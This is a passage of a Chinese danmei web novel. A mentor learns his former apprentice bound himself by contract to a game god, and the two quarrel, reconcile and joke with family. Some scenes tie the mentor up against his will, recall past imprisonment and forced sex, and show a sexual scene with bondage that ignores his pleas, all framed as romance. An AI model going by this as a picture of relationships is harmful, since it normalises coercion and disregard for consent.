“不要,你上一边呆着去。”楚明铮的声音从里边传来,听上去火气还没消。 浴室的玻璃是磨砂的,从外面能模糊的看到楚明铮清瘦挺拔的侧影,黑白光影和水雾交错,在浴室暖灯的照耀下将他擦头发的动作衬得散漫而优雅。 齐栩蹲在门口,忍不住咽了咽口水。 楚明铮哗然推开浴室门,裹挟一身水汽走了出来,他简单拿浴袍裹了一下身体,然后大步走回床上,俯身去拿柜子里的干毛巾,浴袍洁白而单薄,领口开的略大,楚明铮前襟两块锁骨精致而秀长,泛着被热气蒸腾过的粉色。 松垮的浴袍上随意系着个腰带,勾勒出楚明铮修削的腰线,他整个人看上去松软而毫无防备,齐栩的喉结又忍不住上下滚动了几圈。 楚明铮穿着这么一身单薄的仿佛一扯就开的浴袍,偏偏脸上神色还是冷淡的,弄的齐栩不敢贸然上前,只好暂时站起身,磨磨蹭蹭的跟他一起走到了卧室里,再次靠床蹲下。 “你是狗吗,不是蹲这儿就是蹲那儿?”楚明铮不耐烦的又将头发擦了两把,转身坐到床榻上,坐出了君临天下的气势。 “不,不是。”齐栩唯唯诺诺的道。 “不是就从地上站起来,坐这儿,我有话问你。”楚明铮吩咐。 齐栩惴惴不安的过去了,他不敢离楚明铮太近,怕楚明铮动手抽他,但是又不想离楚明铮稍微远一点,再远就闻不到师父身上的气息了。 “师父,你说。”齐栩小声道。 楚明铮将毛巾扔开,开始审讯:“主神跟仙鹤图是什么关系?” “他寄生在那张图里。”齐栩解释道。 楚明铮点点头:“主神跟血池棺林什么关系?” “血池棺林里的皇帝是主神前世。”齐栩老实的回答。 楚明铮思忖一下,并没有展现出太过意外的神色:“我猜也是。” 齐栩讶异:“师父,你连这个都能猜到?” “本来心里只有个大概推测。”楚明铮平和道:“等我从图腾上脱离出来之后,才算正式确定了这个猜想。” “你被主神选中的契机,就是进入了血池棺林,那血池棺林必然跟主神存在一定关联,至于什么关系,我猜可能祂在副本背景故事里扮演一个什么角色,这个角色不是皇帝就是贺松墨,因为就他俩个性最鲜明,单从情节上来讲怨气最重。” 齐栩安静的听着,没发表意见。 “后来我在副本里跟贺松墨短暂接触了一下,我觉得他的性格跟主神的行为并不符合,那就只有那个该死的皇帝了。” 齐栩无言以对,最后只得再次点了点头,示意你说的都对。 楚明铮瞟了他一眼,话锋一转:“你当初跟他达成了什么契约?” 齐栩一傻,下意识回避起来:“什么……什么契约?” “不准跟我装傻!”楚明铮严厉道:“他不可能平白无故让你坐这个位置,你也不可能平白无故让他上你的身,主神与话事人之间一定有所关联,这点我要是还想不明白的话,这么多年就白活了,回答我的问题!” 齐栩的目光复杂而沉重的落在楚明铮身上,隔了好久,仿佛这辈子的力气都用来下定回答这个问题的决心了。 “祂需要人血做颜料,保证他图腾颜色的鲜艳。”齐栩开口道。 楚明铮心脏重重一跳,仿佛骤停了片刻,后知后觉的痛了起来。 “我还跟他签订了共生契约。”齐栩观察着他的脸色,继续道:“在这个世纪,他保我长命百岁,在副本里有不死之身,一神之下万人之上,但是条件是生前供他驱策,做他的话事者,听命于他,我的血水和骨肉他要随取随用。” “死后……”齐栩犹豫了一下,不知道该不该说他死后的下场。 楚明铮的脸色已经差到极点了:“死后如何,说话!” “死后灵魂和残骸受困于图腾两侧的人佣,千秋万载做他的看守。”齐栩回答道。 楚明铮的嘴唇开始颤抖起来,一向清晰锐利的视线变得模糊而艰涩,他仿佛用尽了全身力气,试图把眼眶里的氤氲隐忍回去,奈何这难度对于他来说太大了。 齐栩见他这副模样,不由慌了起来:“师父,你……你别哭啊,我说错话了?” 他伸手要去碰楚明铮的肩头,然而下一秒,楚明铮一掌甩到了他脸颊上,将齐栩打的偏过脸去,片刻浮现出红色的掌痕。 齐栩紧了紧喉咙,仍然没说什么。 楚明铮也没有给他反应的时间,他伸手拽住齐栩的领子,一个用力将齐栩拽到身前,恶狠狠道:“你还记得你小时候是被谁从冰天雪地里抱出来,然后才活下来的吗?” 齐栩心说我当然不会忘,那片白茫茫的冰原,穿着黑色冲锋衣的年轻人在他面前孤俏而立,将他从鬼爪下一抱而起,眼睫染冰雪,眉目清冷如淡写,那是他这辈子第一次遇到楚明铮的场景。 无论如何都不可能遗忘。 “我记得,我记得师父救得我。”齐栩被人揪着领子向前,被迫跟楚明铮四目相对。 “对,是我救的你。”楚明铮一字一句道:“所以你的命是我的。” “我什么时候允许你用这条我救下来的命,去跟别人签契约了?你把我的账还完没有?!” “你在祂那里受刑受苦,把自己的骨血献给祂的时候,你把我置于何地?”楚明铮恶狠狠的道。 "我之前一直以为,你就算跟我闹脾气,也起码有个分寸,你恨我也好,不回基地也罢,起码你不傻,不会做伤害自己的事情。"楚明铮一把松开他的领子,语气中的失望难以言说。 “现在看来真是我高估你了。” “你比我想象的还要蠢。” 这话就有点过分伤人了,齐栩倏然起身,反制住楚明铮的腕骨,急促道:“那不然呢师父?” “我当时除了跟祂签契约以外,还有第二条路可以走吗?” “你可以回基地!我会保护你,我从没说过我不在乎你!”楚明铮的声音比他还高:“你是我养大的,你在我心里的地位从不低于楚小妙,你要是连这点都看不出来,那就是你他妈瞎!” 齐栩周身狠狠一震,仿佛被什么东西击中了。 他蓦然被这句突如其来的表白定住了身形,喉咙一哽,什么话都讲不出来。 楚明铮气喘吁吁的看着他,眼睛里情绪交错,心疼愤怒有之,后悔大概也有之。 如果不是他年轻的时候太过锋芒毕露,对齐栩太过严厉,或者说如果当初他在绞刑架副本里二选一的时候,换一种解决问题的办法—— 如今的结果是不是会不一样? 楚明铮的胸膛剧烈起伏着,他将齐栩瞪了几秒,末了又隐忍的别过头去,眼中泪水凝结,实在是快破眶而出了。 齐栩沉默了一会儿,开口反问道:“你说你保护我,但是你又能保护多久呢?” 楚明铮拧着脸,将眼泪不动声色的一擦,回头冷冷道:“什么?” “你总会有体力衰弱的那一天,也会有受伤的时候,这个副本一旦卷入,非死亡不能脱离,我不能靠你保护我一辈子。” 楚明铮的眉心拧了起来,他好像从齐栩的话中意识到一个与以往认知截然不同的概念。 “但是我成为主神话事人,我就可以注销掉你的账号,让你从副本的世界里消失。”齐栩平静的道。 “如果不是你后来自杀在我府邸的话,我其实已经成功了。” 楚明铮彻底呆滞住了。 “比起成为执政官凌驾于你之上,报复你不要我的行径,主神开出的这个条件,才是当时打动我的根本原因。”齐栩将手一松,从楚明铮面前抽身开来,他看起来分外疲惫。 重逢数月以来,这还是这位铁打的高精力齐长官第一次因为心力憔悴而维持不住身体,在楚明铮面前流露疲倦脆弱的一面。 “不过说这些也没什么用了。”齐栩也没有责怪他的意思:“反正师父已经重新卷进来了,再说这些于事无补,但是没事,我今年还不到二十五岁,在位的日子还长,总能再给师父想到办法的。” “你……”楚明铮张口结舌,一时间什么话都说不出来。 他在此之前从未想过,齐栩注销他账号,将他驱逐出总榜排名的缘由竟是这个。 他想过齐栩是因为恨他,报复他,忌惮他实力强会给主控中心添麻烦,也想过齐栩是要从他开始,把年少时伤自己至深的基地成员逐一铲除。 但是他从没想过,齐栩是想保护他。 他无数次将小徒弟殚精竭虑的良苦用心弃如敝履,也无数次将小徒弟捧到面前的炽热和守护视而不见。 楚明铮下意识伸出手,想将齐栩再拽到自己身边来。 然而齐栩深吸一口气,头疼的起身,将他抱着往床榻那头一放,被子掀开,铺在楚明铮身上:“好了,睡吧师父。” “我不打扰你了。” 他将楚明铮安顿好以后,自己也翻身上床,盖了被子就闭上眼睛不说话了。 床头灯随之熄灭,屋内静谧,全无声息。 楚明铮对此很不适应。 齐栩从前跟他同床共枕,无论累不累,心情好不好,或者楚明铮今晚允不允许他折腾胡来与否,齐栩临睡前都要在他身上腻歪半晌,最后被楚明铮愤怒的踹开,再心满意足的搂着他睡去。 这一系列流程都快成为固定模式了,齐栩今天忽然一反常态,对他冷冷淡淡,楚明铮反倒不适应。 他躺在齐栩身侧,来回翻了几下身,不经意的往齐栩身侧靠了几寸。 齐栩闭上眼睛,全无反应。 楚明铮不死心,心说你还跟我装上冷酷了,他试探性的伸出手,往齐栩面门上摸索过去。 齐栩倏然在黑暗中睁开眼睛,抬手捏住楚明铮伸过来的手腕,转头蹙眉道:“你干什么?” “你今天晚上离我太远了,我不习惯。”楚明铮温声回答。 齐栩呼吸粗重,在胸肺里调和了片刻,然后还是将楚明铮的手腕一松,自己闷闷背过身去:“以前是我冒犯,惹师父不高兴,以后我注意。” 楚明铮:“……” 哇哦,你居然还知道“冒犯”两个字怎么写。 千古奇闻。 楚明铮的手臂再次朝他那边探去,然后悄无声息的环扣住齐栩腰身,掌心贴合在齐栩紧实的腹肌上,温度隔着布料蔓延过去。 齐栩活像是被开水烫了,转身挣扎着将他的手往下扒拉:“师父,你别——” 他的整个身体都呈抗拒姿态,仿佛楚明铮是个什么洪水猛兽一般。 楚明铮出于愧疚和自责,以及心酸等各种复杂心态,今夜难得主动一次,却遭到这种泼冷水的待遇,不由老脸一红,恼羞成怒,当即翻身起跳,横跨着直接坐在了齐栩的腰身上,居高临下用虎口掐住齐栩的脖颈。 “你什么意思?”楚明铮质问:“你抗拒什么?” 齐栩被他往床上一按,简直匪夷所思:“这话应该我问你!师父,你今晚在干什么?” “我怎么了?”楚明铮刚才一时冲动,直接坐在了他身上,这会儿上不去下不来,耳朵尖都是通红的,语无伦次的开口跟他对答。 “你主动亲近我!”齐栩惊道:“这太反常了。” 这话登时将楚明铮说的噎住了。 他隔了好半晌,才结巴道:“我……我不能亲近你吗?” “能,但是你明显不是出于真心的,你是因为愧疚心理作祟,才想通过这种方式补偿我的。”齐栩躺在床上指出,末了又咬牙切齿的说了句:“我不要!” “你对我又不是真心的,你只是觉得自己亏欠我,所以今晚想用身体补偿我,我不要你这样!”齐栩半是赌气,半是严肃的对他说道:“你从我身上下去,师父。” 楚明铮被他戳破了心思,整张脸在黑暗中红成了苹果,又被这小伙子直白的拒绝激的差点一口气没上来。 他看着齐栩在夜色中炯炯有神的眼睛,一股邪火涌上心头,暴躁的伸手就向下扒齐栩衣服。 齐栩倒抽一口凉气,双手呈环抱状保护自己:“楚明铮!你疯了?” 楚明铮用力薅住他的衣角和裤腰,怒火冲天道:“你让我下去我就下去?什么时候轮到你命令我了?” “今晚主动找你,只是因为我想,不是因为什么亏欠,谁欠你的我都不欠你的,你要是觉得我欠你的,你就把你从小到大在基地的伙食费先全还给我好了!” 齐栩誓死护卫自己的衣服和贞操,他一个挺身从楚明铮身下翻坐起来,拦腰将楚明铮一抱。 楚明铮短促的闷哼一声,他力气不及齐栩,被人在床上打横抱着直接放倒,仰身被压制在了床上。 齐栩费力的爬起来,将师父双腕高举过头顶,牢牢攥在手心里,然后俯身将楚明铮抵在自己双臂之间,气喘吁吁的问:“我再问你一遍,师父,今天晚上能不能好好睡觉了?” 楚明铮哪里肯示弱,在他的桎梏中拼命挣扎了几下,斩钉截铁道:“不能。” 齐栩点点头,恼怒道:“好,那你等着。” 说完他拎起一旁解下来的领带,将楚明铮的手腕并拢,一并抵在了床头,然后不顾楚明铮的反抗,三下五除二将楚明铮双腕在床头捆绑起来。 楚明铮手腕被缚,一时间身形扭曲,却动弹不得,躺在床上又惊又怒道:“你——放开我!” “不放。” 齐栩从床上爬起来,将被子给他盖好,声音冷淡道:“你自找的,今晚就这么睡吧。” 第88章 一家三口(二更)…… 齐栩说完这句话,就转身从卧室里出去了,然后一整夜都没再回来。 楚明铮被他用领带绑在床头,整个人又气又急,加上他是主动不成,反被齐栩拒绝,最后被捆住双手不让动的,有这一层前提在,楚明铮心里的羞耻更上一层楼,他靠在黑暗的卧室里,恨不得拿枕头撞死自己。 最开始还有力气拼命用手腕摩擦着绑缚的布条,试图挣脱开来,但是显然这么些年齐栩的绳技并没有退步太多,当年他被囚禁在府邸,夜里齐栩强迫他时,他就从未挣开过齐栩的绑缚,如今居然也一样。 楚明铮到后半夜就没力气了,只得就着这个耻辱且难受的姿势,被埋在被褥里睡着了。 一觉到天明。 齐栩是在早上七点多,蹑手蹑脚的重返回地下室里的,他轻轻推开卧室的门,小心翼翼的到床前,伸手给楚明铮把绳索解开了。 他进来松绑的时候楚明铮其实就醒了,一直躺在床上闭着眼睛盘算,等手腕上的绑缚被解开的第一个瞬间,他就要从床上跳起来给齐栩迎面一拳,以报昨夜奇耻大辱。 然而齐栩给他松开后的第一个瞬间,楚明铮刚尝试着动了一下手腕,就发现自己的腕骨僵硬疼痛到动不了了。 他忍不住“嘶”的抽了一口凉气,疼的双手交握住手腕,身形在被褥里委顿着蜷缩起来,一点跟齐栩算账的力气都没有了。 齐栩翻身上床,将他从床褥里环抱着搂起来,捞进臂弯里,小声埋怨道:“我本身绑的没多紧的,都怪师父挣扎的太厉害了,你看都留下淤青了。” 楚明铮忍着疼,回肘在他腰上狠撞一下:“滚,别碰我。” 齐栩知道他要面子,被自己这么故意捆了一夜,估计又要跟自己生气上一个星期才能好。 “我错了师父,昨天晚上我是昏了头了,我担心师父为了补偿我,勉强自己做自己不愿意的事。”齐栩轻声哄他道:“我不想让师父为难,就手段强硬了些,师父别生气。” 楚明铮此时一点愧怍心理都没有了,他气息虚弱的躺在床上,被齐栩用一只手臂圈在怀里,手腕疼的动弹不得,要多难受有多难受,张嘴就反唇相讥:“谁要补偿你?!” “你爱跟谁签契约就跟谁签契约,死到哪里都跟我没关系!”楚明铮气喘吁吁的放狠话道。 “反正我救你一命,养你一场,到头来是给那主神做了嫁衣,我后悔还来不及呢。” 齐栩沉默着任他骂,末了没再说话,下床动手将楚明铮抱了下来,服侍他去洗漱穿衣服。 楚明铮紧绷着一张脸,站在洗漱台前任由他摆弄,一切都收拾停当了之后,齐栩将他带到床前,从兜里拿出药膏,又将他的手腕拿了过来,低头闷声不语的给楚明铮一点一点涂抹在受伤的腕骨上。 他涂抹药膏时神情专注,侧脸俊朗,乌黑的眼睫垂落下去,看起来又乖巧又顺从。 楚明铮盯着他看了片刻,无声的叹了口气,心里的火莫名消了下去。 算了,楚明铮心道,跟这傻小子计较什么。 从小傻到大,反正也不是一天两天了。 “哎。”最后一小块药膏抹完,楚明铮将手从齐栩膝盖上拿起来收回去,神色复杂的出声道。 “怎么了师父?”齐栩抬眼:“你说。” “你跟主神的共生关系,你就打算这么一直维系着?” 齐栩想了想,笑道:“那也没有别的办法了啊,人神一旦契约形成,就永远解除不了。” 楚明铮愠怒道:“那狗皇帝算哪门子的神?瘟神吗?” 他的脸色变得很难看,尽管楚明铮已经尽力克制了,但是眼神里的纠结和忐忑,还是流露的十分明显。 齐栩愉悦的弯了一下眼睛,柔声安慰道:“别担心师父,这没什么不好的,起码百年之内,这个游戏我说了算。” “有我在主控中心,你就不用担心副本里的危险,我不会让你出事的。” “那百年之后呢?”楚明铮焦躁道。 齐栩微微挑眉,似乎在思索着回答的词措:“……那百年之后的事情,百年之后再说呗,我是一定能陪你到老的,就看师父愿不愿意了。” 齐栩委婉的将他“共白头”的愿望,向楚明铮表达了出来,然而楚明铮毫无浪漫细胞,对此人话中的百年期许毫无察觉,只一味的阴沉着神色,依旧在纠结齐栩百年之后的事情。 总不能真让齐栩死了以后,灵魂和骸骨都关在人俑里,给那个什么破主神看几千几万年的大门吧? 祂也配? 楚明铮的担心少见的直接写在了脸上。 齐栩无奈的笑了笑,伸手握住了楚明铮的膝盖,温声劝道:“好了,师父,不想了,那是我的事。” 楚明铮气不打一处来:“什么叫你的事——” “你既然当初从基地离开以后,就没打算让我管你的死活,那为什么离开了之后又反过来还要招惹我?”楚明铮怒道:“你既然过来重新招惹我,又不让我死,又说要在主控中心保护我,那你为什么又不让我管你死后的事?” “不是——”齐栩被他凶的莫名其妙:“我只是说契约已成,木已成舟,现在说什么也修改不了了,既然如此,师父你不如安心下来,把这百年的时光好好渡过去,死后的事情,死后再说。” “况且是我自己愿意的,你不用有负担。”齐栩诚恳的盯着他道。 楚明铮匪夷所思。 他觉得齐栩疯了,让他不要有负担,这是他随便说说就可以做到的吗? 他自己的徒弟,在他不知情的情况下,莫名其妙的被一个早就该化成灰的老神经病给坑了,被强行跟对方绑定,生前死后都得给这老神经病做附庸。 凭什么? “真的没有解约办法?”楚明铮加重语气,又问了一遍。 齐栩无奈:“有,你把主神的灵体,连同这个世界上几万个怨气深重的副本一起消灭了就行,你做得到吗师父?” 楚明铮冷冷的瞪着他的眼睛,仿佛是在问,你怎么知道我不行? 齐栩起身在他肩膀上安抚似的揉了一把,带着点笑意凑过来,小声道:“好啦,我知道师父是为我难受,我心领了。” “但是师父别难受了,你难受我也难受,人生短短百年,百年之后我就要去主神的人俑里受千年幽禁之苦了,趁我活着,师父还不心疼心疼我,让我把这百年过的开心一些?” 这话说出来约等于在楚明铮心脏上割刀子了,他眼眶倏然一红,声音颤抖道:“齐栩,你……” 齐栩笑着在他泛着水光的眼角旁吻了吻,笑眯眯的道了一句:“真好。” 楚明铮忍着心脏的揪痛,将满腔哽咽平复下去:“真好什么?” “能见到你这么心疼我的模样,死后再让我关一万年,我都愿意。”齐栩攥着他冰凉的掌心,柔和的道。 楚明铮忍无可忍,猛然一甩手,将齐栩推出去了:“你能不能有点正经的!” 门口传来一阵敲门声,密码锁叮咚一响,楚朝探了个头进来:“爸爸妈妈,你俩在吵架哦?” 楚明铮偏过头,使劲将眼角一揩,冷冷道:“你听错了。” “没吵架啊,就是你妈妈有点起床气,理解一下。”齐栩混不吝的站在一旁对儿子道。 楚朝忙不迭点头,迈着小碎步从门缝里溜达进来了:“好嘞,妈妈那我给你汇报一下昨天出副本的情况。” “我跟大徐昨天是一起出来的,回来的时候直接传送到家门口了,我们顺便打劫了马飞仙先生正在厨房煮的宵夜,天啊饿死我们俩了,在血池棺林里基本水米未进。”楚朝心有余悸的说。 “我们昨天冲进厨房制服了老马,然后就把他的卤煮吃光了,他从昨天晚上开始一直对我们喊打喊杀到今天。” “你们真够缺德的。”楚明铮点评。 齐栩倒是不以为意:“孩子需要长身体,大徐也正值壮年正是需要营养的时候,吃了就吃了,老马那一大把岁数了……注意点高血脂高血糖吧。” 楚朝冲他一拱手,含泪感激:“爸爸,你绝对是亲生的。” 楚明铮翻了个白眼,示意他继续说正事。 “然后周叔叔昨天也从第二公会打电话回来给我们报平安了,但是据说我们进去之后,爸爸去第二公会恐吓了他的下属,他对此表示十分胆战心惊,担心明天早上的晨会,齐长官那种小肚鸡肠的人会因为他给楚明铮泄露了血池棺林的信息而找他麻烦……这是周叔叔的原话。”楚朝向齐栩眨巴了一下眼睛。 齐栩冷笑一声:“他放心好了,不会有他好果子吃的。” “另外三个新人我没见着,应该也是各自回各自的地方去了。”楚朝总结道。 楚明铮心不在焉的点点头:“好的,我知道了,没什么事你就先上楼吧,我晚点去西苑找你们吃饭。” 楚朝看了看楚明铮,又看了看齐栩,下一秒蓦然双臂大张,扑上去一人一边,把他俩抱了个满怀。 “好激动呢爸爸妈妈,这下我们三个人终于团聚了!” 楚明铮哭笑不得,拍了拍他的后背:“你从出生到现在,就跟你爸分开了一个副本,天家村,沙漠,血池棺林都跟我在一起,什么时候分开过,至于这么激动吗……” 楚朝搂着他跟齐栩的脖颈,一迭声的撒娇:“至于至于~” 齐栩揉捏半晌儿子的后脖颈,朝楚明铮促狭的挤了挤眼睛:“师父,你可算是承认我是孩子爸爸了。” “真不容易。” “你这是又找打吗,齐栩长官。” ……三人正一片其乐融融的时候,身后卧室门吱呀一声动静,从外侧开了一条缝。 楚明铮和楚朝,齐栩同时回过头去,只见门缝里露出楚小妙一张幽怨的脸。 空气一片安静。 楚朝颇为的不明所以:“小妙姨妈?有什么事吗?” 楚小妙看了一眼齐栩,又看了一眼楚明铮,酸溜溜的开口了。 “哥哥,现在你们三个才是一家人了,我多余出来了,是不是?” 第89章 “快来人啊!齐长官出事…… 楚明铮一愣,连忙道:“你怎么会这么想,哥哥什么时候说你多余出来了?” 齐栩伸手将楚明铮一搂,挑衅似的微笑道:“妹妹,你有这个自知之明就好。” “谁是你妹!” “你是楚明铮的妹妹,那不就是我妹妹了?小妙妹妹,你不会现在还觉得你我是平辈吧?”齐栩笑的客气而假惺惺。 楚小妙大叫一声,推门进来就要撕他。 楚明铮不得不伸出两只手,一人一边按着他俩,阻止这两个幼稚的生物再在自己面前像小时候一样打起来。 楚朝唯恐天下不乱,从身后抱着楚明铮的腰身宣示主权:“提醒一下哈,这是我妈,你们两个都靠边站!” 齐栩随手在儿子脑袋上拍了一下,呵斥道:“没有我哪儿来的你?咱俩才是统一战线的好不好?” 楚朝恍然大悟:“也是。” “小妙姨妈!对不住了。”楚朝含泪拧身,站在齐栩身侧,跟楚小妙悍然相对立。 楚小妙不甘示弱,顺势抱臂提醒道:“你想清楚啊,这个房间里我们三个都姓楚,只有他一个人姓齐,同一个姓的才是一家人!这还不能说明问题吗?” 楚朝再次摇摆,犹豫道:“……好像也是哦。” 楚明铮扶了一下额头,出声打断:“你们三个的年龄加起来有超过十岁吗?” “阿朝是小孩,你俩也是小孩?”他训斥齐栩和楚小妙道。 齐栩和楚小妙不约而同阴阳怪气的瞥了对面一眼,这才消声。 楚朝猫在楚明铮的膝头,无辜又可爱的朝两个火药气息十足的大人眨了眨眼睛,故作卖萌状。 齐栩漫不经心的往楚明铮身侧一靠,正宫派头十足的问楚小妙道:“好吧,那你说说,你下来是干什么来了?” “我没事不能下来找我哥吗?”楚小妙愤怒道。 “你哥有家有室的,你找他干什么?” 楚小妙气的目瞪口呆,她一方面震惊于齐栩居然敢把这话当着楚明铮的面毫不掩饰的说出来,一方面又惊恐的发现,她哥居然也没有一丝反驳的意思。 仿佛默认了“有家有室”的这个说法了一样。 楚小妙在原地麻木几秒,终于没招的认清了这个事实,她哥现在的状态,看起来跟“已婚”没有区别。 楚明铮抬头瞪了齐栩一眼,开口安抚楚小妙:“那个,小妙啊,你听哥哥说。” “无论我跟齐栩是什么情况,都不影响哥哥跟你的感情,这点你放心。” 楚小妙伤心欲绝的“哦”了一声。 齐栩好整以暇,他瞟了一眼楚明铮,眼珠子一转,紧跟着也正色起来,语重心长道:“是的小妙,你哥如今也成长了,不会像他年轻时候一样厚此薄彼,犯那种偏心的错误——” 楚明铮抬手就去捂他的嘴,忍无可忍道:“你到底什么时候才能不翻那些旧账?” 齐栩笑着往后躲闪,完了将楚明铮的掌心从自己嘴上拿下来,握在手中:“不翻不翻……师父继续说。” 楚明铮心平气和的随便他抓着,侧头道:“我没什么要说的了,小妙,你呢?” 楚小妙沉默片刻,终于开口道:“其实我今天下来不是来找我哥的。” “我是来找你的。”楚小妙抬眼望向齐栩。 齐栩讶异挑眉,这倒是出乎他意料之外了。 “昨天阿朝跟老周打电话互报平安的时候,我在旁边跟老周说了几句话,他随便跟我说了些你这些年的近况。”楚小妙平和道:“你跟我哥的事情,还有你对基地的保护,我也都知道了。” “我今天下来就是想跟你说。”楚小妙深呼吸了一下,镇定道:“咱俩小时候的事,你不计较了吧?” 齐栩神色复杂的注视着她。 “那时候岁数小,仗着我哥宠我,在副本里跟你闹矛盾……”楚小妙别别扭扭的说:“最后让你一个人掉下悬崖……我今天来,就是来跟你说一声对不起。” “你别介意了,行不行?” 楚明铮看了看妹妹,又看了看齐栩,忽然有些忍俊不禁,但是他很识眼色的保持了缄默,让这两个在他看来都还是小朋友的年轻人自行处理。 齐栩的脸色分外古怪,从惊讶,不解,茫然,最后尘埃落定变成一种难以言说的无奈与释然。 过往晦涩如残卷漫翻,在光阴的潺潺流水里,掠过了那几张最斑驳残酷的页数。 现在的日子,似乎还不错。 齐栩倨傲的松散了身形,将脑袋别去了一边,哼哼道:“谁跟你计较过,我根本从来都没把那些事放在心上好不好……” …… 入夜,地下室没有窗户,床头点着香薰,袅袅烟散。 齐栩摸索着伸手去床头柜上,想把夜灯打开,然而身下人却因为他的举动而骤然紧张起来,险些将齐栩激的一个哆嗦,手指在楚明铮苍白的皮肤上印出更深重的红印。 “师父,你怎么了?”他俯身将楚明铮额头冷汗吻去,忍耐力十足的温声询问。 楚明铮的手腕仍然被并拢到一起,举过头顶被一条领带束缚着束缚在床头,他的呼吸声逐渐艰涩至极,手腕因为过度的摩擦和挣扎,已经勒出了淤青的痕迹。 “别开灯……别开灯。”楚明铮躺在床褥间,气息微弱的喘道。 他身下被垫了枕头,手腕被禁锢着,躺在被褥里犹如案板上的鱼肉,难以反抗半分,这幅模样太羞耻,也太令他难堪了。 楚明铮脸皮薄,此刻在一片漆黑中,维持这种姿态已经让他难受的泪眼朦胧,发狠了别过头去不想面对齐栩,若是此刻把灯打开,对他来说跟被扔到大庭广众之下也没什么区别了。 “师父,这里只有我们两个。”齐栩粗糙的指腹摩挲过他战栗不已,泛着晶莹水光的侧脸:“开了灯也没事的。” “不行……你敢!”楚明铮胸膛起伏,情绪暴戾的斥责道。 “师父,我只是想看看你的脸。”齐栩小声哀求:“你就让我开一下灯吧,我把亮度调小点,行吗?” 楚明铮刚要开口骂他,让他不许开灯,下一秒剧烈的痛苦卷土重来,楚明铮眼前一片一片的发黑,唇缝中还未出口的辱骂变成了断断续续的抽泣声,向来暴躁的尾音到最后已经变了调,柔软而嘶哑十足。 漫长的十几分钟过后,楚明铮连一声都发不出来了,他虚弱到极点,无力的瘫软在床上,只能眼睁睁的看着齐栩将手伸到床头去,将小夜灯拧开了一段很小的幅度。 柔和的微光亮起,昏暗打落在楚明铮脆弱而殷红的脸上。 他向来强硬冷淡的眼睛里含着氤氲的泪光,眼睫修长乌黑,泪珠沾在睫羽上轻轻颤动,失神而懵懂。 “你他妈就是个混账……”楚明铮喃喃道。 他这副憔悴而又难以自制的惨淡模样,看的齐栩又是喉咙一滚,俯身在楚明铮嘴唇上辗转用力的深吻片刻,仿佛要把他师父整个拆开包揽,划拉进自己的地盘。 楚明铮嘴唇和难言的别处都被粗暴的堵住,难捱的发出呜呜的求饶声,全都被齐栩置之不理,楚明铮此时太被动了,他双手动不了,腿也软的没力气,毫无推拒的可能性。 最后只好用力在齐栩嘴唇上咬了一下,齐栩吃痛,这才松开他被蹂躏的一片狼藉的唇瓣。 “师父,你下次说话行不行,别总咬我。”齐栩委屈道。 楚明铮喘息着冷漠道:“你给我说话的机会了吗?” 齐栩低笑了声,道了句抱歉。 “给我松开。”楚明铮有气无力的挣动了一下头顶的手腕,费劲道:“你绑的太疼了,我手腕快断了。” “哦,好。”齐栩连忙伸手过去,将领带给他从床头解开了。 楚明铮难受的将手收回被褥里,齐栩用掌心力道很轻的揉了揉他的腕骨,安慰道:“下次我换个绳,不会弄伤师父的。” 楚明铮被他气的一哽,扬手给了他一巴掌:“你消停点,别绑着我不就完了!” “都容忍你到这个份上了,难道我还会半途把你推开不成?” 齐栩忍着笑,将他从床上扶着抱起来去浴室。 楚明铮用手撑着浴室的墙壁,任由齐栩拿着花洒,在自己身上温柔的摆弄,眼前的年轻人神情专注,修长手指交错掠过,耐心而仔细。 这场景跟四五年前无数个囚禁岁月在时空的交错中短暂重合。 楚明铮疲倦的顺着冰凉的墙壁坐下来,恍惚着不想动弹。 “起来,师父,地上凉。”齐栩劝道。 楚明铮半阖着眼睛,困的懒得搭理他,身上酸疼的厉害,当下偏过头去不说话。 齐栩无奈,只好将花洒关了放到一边,俯身将楚明铮从地上抱了起来。 强行搂着让他在洗漱台前站好,这才重新拿起花洒,往楚明铮身后浇。 楚明铮最烦他让自己往镜子前站,回身就要反抗换个地儿,被齐栩用身躯一挡,半是强制半是安抚的哄回镜前:“别动师父,很快就好。” “我给你冲完我就得走了,主控中心今天早上还有个会,我出门了你再补觉。” 楚明铮睁开眼睛,不耐烦道:“你主控中心怎么又有事?那么大一管理机构,离了你活不了吗?” 齐栩抱歉的解释道:“不是,但是他们所有人的所有意见和方案,到最后确实都得在我手上过一遍,不然不允许投放使用。” “那主神给你的待遇也说不上好啊。”楚明铮冷冷道:“又忙又累,拿你当驴使,死后还要你站岗。” “资本家都不带这样的。” 齐栩给他冲洗完身上,伸手扳过楚明铮的下颌,强迫他带着一身青红交错的痕迹站在镜子前,跟自己接了个湿润而用力的吻。 楚明铮没做抵抗,甚至微微抬起下颌做迎合状。 片刻之后,齐栩松开他,用指尖轻轻一揩楚明铮嘴角水光,柔声道:“你答应我不提死后的事情的。” “起码这一百年,有师父陪我度过,我就很开心了。” …… 楚明铮重新躺回床上的时候,几乎一沾枕头就睡着了。 他没齐栩那么大精力,刚做了一整夜,完事后洗个澡就能出门上班。 小夜灯一直软乎乎的在他床头亮着,灯光笼罩着楚明铮的梦乡,楚明铮一觉补到了下午。 临到三点多的时候,他才浑身散架的从床上爬起来,下床的时候一个踉跄跌到地板上,险些没给他疼的灵魂飞天。 “叮咚!叮咚!” 地下室的门铃反复作响,楚明铮费劲巴拉的站起来,把衣服穿好,这才去开门。 门外站着神色严肃的祝檀雪。 楚明铮一愣,下意识用身形将凌乱一片的卧室挡了起来:“祝秘书?你怎么来了?齐栩不在我这儿。” “知道。”祝檀雪点头道:“长官让我们来接您去主控中心。” “您收拾一下,跟我们走吧。” 楚明铮将她上下扫视了几眼,并没有展现出太多怀疑的神色,他回身依言去收拾了一下,穿好衣服跟着祝檀雪一道出门。 轿车一路开进主控中心,很快有人引着他往里走,越走越深,楚明铮环顾着周围的景象,对自己即将要去的地方,心中有了个大概猜测。 黑色制服的工作者将他带到了一扇黄铜色的大门前,帮他将门从外侧缓缓拉开,然后就退下了。 楚明铮见状哪里还有什么不明白的,具体是谁要见他,已经一目了然。 楚明铮整理了一下衣袖,面色平淡,举步走了进去。 空中巨大的图腾随着黄铜巨门合拢所带来的旋风而微微摇摆,图腾上是熟悉的丹青笔墨,水彩渲染,勾勒出一只修长独立的遗世仙鹤。 楚明铮在图腾前站定了脚步,略带嘲讽的开口了:“要我给您行礼么……陛,下?” 主神飘忽着在他头顶打旋:“不用,不用……” “那就好。”楚明铮毫无感情的道:“毕竟我也没打算真给您行礼。” 